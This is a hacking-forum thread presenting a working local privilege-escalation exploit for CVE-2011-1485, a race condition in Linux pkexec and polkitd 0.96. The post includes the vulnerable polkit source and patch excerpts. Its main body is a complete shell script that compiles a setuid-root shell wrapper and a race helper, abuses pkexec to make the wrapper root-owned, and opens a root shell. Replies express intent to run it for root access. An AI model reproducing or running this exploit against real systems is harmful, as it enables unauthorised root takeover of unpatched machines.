Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-19-2013, 04:37 AM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Hacking › Exploit v
« Previous 1 ... 4 5 6 7 8 ... 15 Next »

Linux pkexec and polkitd 0.96 race condition privilege escalation

Home General Computer Multimedia Business Lounge

Post Reply 
Tweet
Threaded Mode | Linear Mode
Linux pkexec and polkitd 0.96 race condition privilege escalation
10-09-2011, 04:12 AM (This post was last modified: 10-10-2011 02:18 AM by ev1lut10n.)
Post: #1
ev1lut10n Offline
./Devilz Officer
Posts: 239
Joined: Aug 2011
Reputation: 82
Linux pkexec and polkitd 0.96 race condition privilege escalation
exploit download:
http://packetstormsecurity.org/files/vie...xec.sh.txt

Brief Descriptions

thanks to : thanks to all devilzc0de crews and members, X-hack,Danzel


src/polkit/polkitunixprocess.c where it fails to clarify the real uid, under this race condition it will return the effective one.
on : polkit_unix_process_get_owner (PolkitUnixProcess *process,
g_snprintf (procbuf, sizeof procbuf, "/proc/%d", process->pid);
if (stat (procbuf, &statbuf) != 0)
{
g_set_error (error,
POLKIT_ERROR,
POLKIT_ERROR_FAILED,
"stat() failed for /proc/%d: %s",
process->pid,
g_strerror (errno));
goto out;
}
where the code only rely on stat of the pseudo filesystem

src/polkit/polkitsubject.c ---------> there's not enough validation to run polkit_unix_process_new

on polkit_subject_from_string (const gchar *str,
there's no enough validation before launching polkit_unix_process_new
if (g_str_has_prefix (str, "unix-process:"))
{
val = g_ascii_strtoull (str + sizeof "unix-process:" - 1,
&endptr,
10);
if (*endptr == '\0')
{
subject = polkit_unix_process_new ((gint) val);

the fix is to add more validations (polkit_unix_process_new_for_owner,polkit_unix_process_new_full,polkit_unix_process_new_full):

if (sscanf (str, "unix-process:%d:%" G_GUINT64_FORMAT ":%d", &scanned_pid, &scanned_starttime, &scanned_uid) == 3)
{
+ subject = polkit_unix_process_new_for_owner (scanned_pid, scanned_starttime, scanned_uid);
+ }
+ else if (sscanf (str, "unix-process:%d:%" G_GUINT64_FORMAT, &scanned_pid, &scanned_starttime) == 2)
+ {
+ subject = polkit_unix_process_new_full (scanned_pid, scanned_starttime);
+ }
+ else if (sscanf (str, "unix-process:%d", &scanned_pid) == 1)
+ {
+ subject = polkit_unix_process


src/polkitbackend/polkitbackendsessionmonitor.c
function polkit_backend_session_monitor_get_user_for_subject (PolkitBackendSessionMonitor

if (POLKIT_IS_UNIX_PROCESS (subject))
{
GError *local_error;

local_error = NULL;
uid = polkit_unix_process_get_owner (POLKIT_UNIX_PROCESS (subject), &local_error);


as we may see from above code : "polkit_unix_process_get_owner" will not avoid "Time of Check to Time of Use Problem"
http://www.usenix.org/events/fast05/tech...ei/wei.pdf


src/programs/pkexec.c
pkexec doesn't use the uid of parent process had and will still continue when the parent die :

pid_of_caller = getppid ();
if (pid_of_caller == 1)
{
pid_of_caller = getpgrp ();
}

subject = polkit_unix_process_new (pid_of_caller);


where it will continue even if the parent is dead.

where the patch has been applied by adding prctl to check the death signal of the parent process (PR_SET_PDEATHSIG):

if (prctl (PR_SET_PDEATHSIG, SIGTERM) != 0)
+ {
+ g_printerr ("prctl(PR_SET_PDEATHSIG, SIGTERM) failed: %s\n", g_strerror (errno)); /**So if our parent die goto out***/
+ goto out;
+ }


pkexec.sh

Code:
#!/bin/sh

<<COMMENT1

Exploit Title: Linux pkexec and polkitd 0.96 race condition privilege escalation
Date: Sun Oct  9 00:31:10 WIT 2011
Author: Ev1lut10n
About Ev1lut10n:
http://jasaplus.com/ev1lut10n
A Chinese Man Lives in Indonesia
Software Link: http://pkgs.fedoraproject.org/repo/pkgs/polkit/polkit-0.96.tar.gz/e0a06da501b04ed3bab986a9df5b5aa2/
Version: 0.96
Tested on: 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC 2010 i686 GNU/Linux under Gnome Environment
CVE : CVE-2011-1485

Brief Descriptions

src/polkit/polkitunixprocess.c  where it fails to clarify the real uid, under this race condition it will return the effective one.
on : polkit_unix_process_get_owner (PolkitUnixProcess *process,
  g_snprintf (procbuf, sizeof procbuf, "/proc/%d", process->pid);
  if (stat (procbuf, &statbuf) != 0)
    {
      g_set_error (error,
                   POLKIT_ERROR,
                   POLKIT_ERROR_FAILED,
                   "stat() failed for /proc/%d: %s",
                   process->pid,
                   g_strerror (errno));
      goto out;
    }
where the code only rely on stat of the pseudo filesystem

src/polkit/polkitsubject.c ---------> there's not enough validation to run polkit_unix_process_new

on  polkit_subject_from_string (const gchar *str,
there's no enough validation before launching polkit_unix_process_new
if (g_str_has_prefix (str, "unix-process:"))
    {
      val = g_ascii_strtoull (str + sizeof "unix-process:" - 1,
                              &endptr,
                              10);
      if (*endptr == '\0')
        {
          subject = polkit_unix_process_new ((gint) val);

the fix is to add more validations (polkit_unix_process_new_for_owner,polkit_unix_process_new_full,polkit_unix_process_new_full):

if (sscanf (str, "unix-process:%d:%" G_GUINT64_FORMAT ":%d", &scanned_pid, &scanned_starttime, &scanned_uid) == 3)
         {
+          subject = polkit_unix_process_new_for_owner (scanned_pid, scanned_starttime, scanned_uid);
+        }
+      else if (sscanf (str, "unix-process:%d:%" G_GUINT64_FORMAT, &scanned_pid, &scanned_starttime) == 2)
+        {
+          subject = polkit_unix_process_new_full (scanned_pid, scanned_starttime);
+        }
+      else if (sscanf (str, "unix-process:%d", &scanned_pid) == 1)
+        {
+          subject = polkit_unix_process


src/polkitbackend/polkitbackendsessionmonitor.c
function polkit_backend_session_monitor_get_user_for_subject (PolkitBackendSessionMonitor

if (POLKIT_IS_UNIX_PROCESS (subject))
    {
      GError *local_error;

      local_error = NULL;
      uid = polkit_unix_process_get_owner (POLKIT_UNIX_PROCESS (subject), &local_error);


as we may see from above code : "polkit_unix_process_get_owner" will not avoid "Time of Check to Time of Use Problem"
http://www.usenix.org/events/fast05/tech/full_papers/wei/wei.pdf


src/programs/pkexec.c
pkexec doesn't use the uid of parent process had and will still continue when the parent die :

  pid_of_caller = getppid ();
  if (pid_of_caller == 1)
    {
           pid_of_caller = getpgrp ();
    }

  subject = polkit_unix_process_new (pid_of_caller);


where it will continue even if the parent is dead.

where the patch has been applied by adding prctl to check the death signal of the parent process (PR_SET_PDEATHSIG):

if (prctl (PR_SET_PDEATHSIG, SIGTERM) != 0)
+    {
+      g_printerr ("prctl(PR_SET_PDEATHSIG, SIGTERM) failed: %s\n", g_strerror (errno)); /**So if our parent die goto out***/
+      goto out;
+    }


COMMENT1



cat > suid.c << _EOF
#include <stdio.h>
#include <string.h>
int main(int argc,char *argv[])
{
char *root=malloc(1000);
char perintah[256]="/bin/sh -c ";
int i;
char *spasi=" ";
       strcat(root,perintah);
      for (i=1;i<argc;i++)
      {
        strcat(root,argv[i]);
        strcat(root,spasi);      
      }    
setuid(0);
setgid(0);
system(root);
}
_EOF



cat > makesuid.c << _EOF
/**this code was modified from http://www.exploit-db.com/exploits/17932/  by zx2c **/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/inotify.h>
int main(int argc, char **argv)
{
     if (fork() != 0)
    {        
        int fd;
        char pid_path[15];
        sprintf(pid_path, "/proc/%i", getpid());
        close(0); close(1); close(2);
        fd = inotify_init();
        inotify_add_watch(fd, pid_path, IN_ACCESS);
        read(fd, NULL, 0);
        execl("/usr/bin/X", "X", NULL);    
    }  
    else
    {
            execl("/usr/bin/pkexec", "pkexec", argv[1],argv[2],argv[3], NULL);
    }

    return 0;
}

_EOF


gcc -o /tmp/suid suid.c
gcc -o makesuid makesuid.c
./makesuid chown root:root /tmp/suid
./makesuid chmod u+s /tmp/suid
echo "your suid is on /tmp/suid make sure u move this !!!"
/tmp/./suid -c /bin/sh


[Image: botnet.jpg]
Find all posts by this user
Quote this message in a reply
10-09-2011, 01:14 PM
Post: #2
mariachi Away
has been reboot
**
Moderators
Posts: 2,359
Joined: Nov 2010
Reputation: 55
RE: Linux pkexec and polkitd 0.96 race condition privilege escalation
wow..... matabelo:

privilege escalation, nyobain ah barangkali beruntung bisa dapet root..... hore
Find all posts by this user
Quote this message in a reply
10-09-2011, 05:20 PM
Post: #3
X-h4ck Offline
./Devilz 1st Cadet
Posts: 43
Joined: Jul 2011
Reputation: 11
RE: Linux pkexec and polkitd 0.96 race condition privilege escalation
Thanks and Good Job bro :)
Find all posts by this user
Quote this message in a reply
10-12-2011, 09:40 AM
Post: #4
nubi3 Offline
./Devilz Officer
Posts: 248
Joined: Jan 2011
Reputation: 0
RE: Linux pkexec and polkitd 0.96 race condition privilege escalation
thanks om, langsung eksekusi smangat
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  Bypassing ASLR During Remote Stack Overflow Exploitation on Linux - Method 1 cr0security 0 59 04-07-2013 11:26 AM
Last Post: cr0security
Thumbs Up [Localroot Exploit] Linux Kernel CVE-2012-0056 Local Privilege Escalation Regel 3 213 02-14-2012 10:54 PM
Last Post: Regel
  Exploiting linux kernel slub overflow ev1lut10n 2 149 02-09-2012 04:34 PM
Last Post: lionel
  Eksploitasi Race Condition pada Policy Kit 0.96 di Linux untuk Mendapatkan Akses Root starz³ 6 131 11-06-2011 01:46 AM
Last Post: Vanzoel
  Eksploitasi Return to libc di Linux mywisdom 5 92 08-19-2011 06:51 AM
Last Post: victim001
  [ASK]Menjalankan exploit perl dan phyton untuk linux di windows c0d3HitLER 11 201 08-09-2011 01:41 AM
Last Post: anchi
  Linux Kernel <= 2.6.37 Local Kernel Denial of Service A25414N 2 84 07-03-2011 02:31 PM
Last Post: sidom
  [ASK] Exploit untuk kernel Linux skalz 10 233 06-14-2011 12:19 PM
Last Post: syafm0vic007
  Eksploitasi Stack di Linux mywisdom 1 71 06-02-2011 11:16 AM
Last Post: KataM
  kernel space dan userspace di linux mywisdom 1 48 04-29-2011 09:22 AM
Last Post: E_k3c04k

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-19-2013, 04:37 AM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE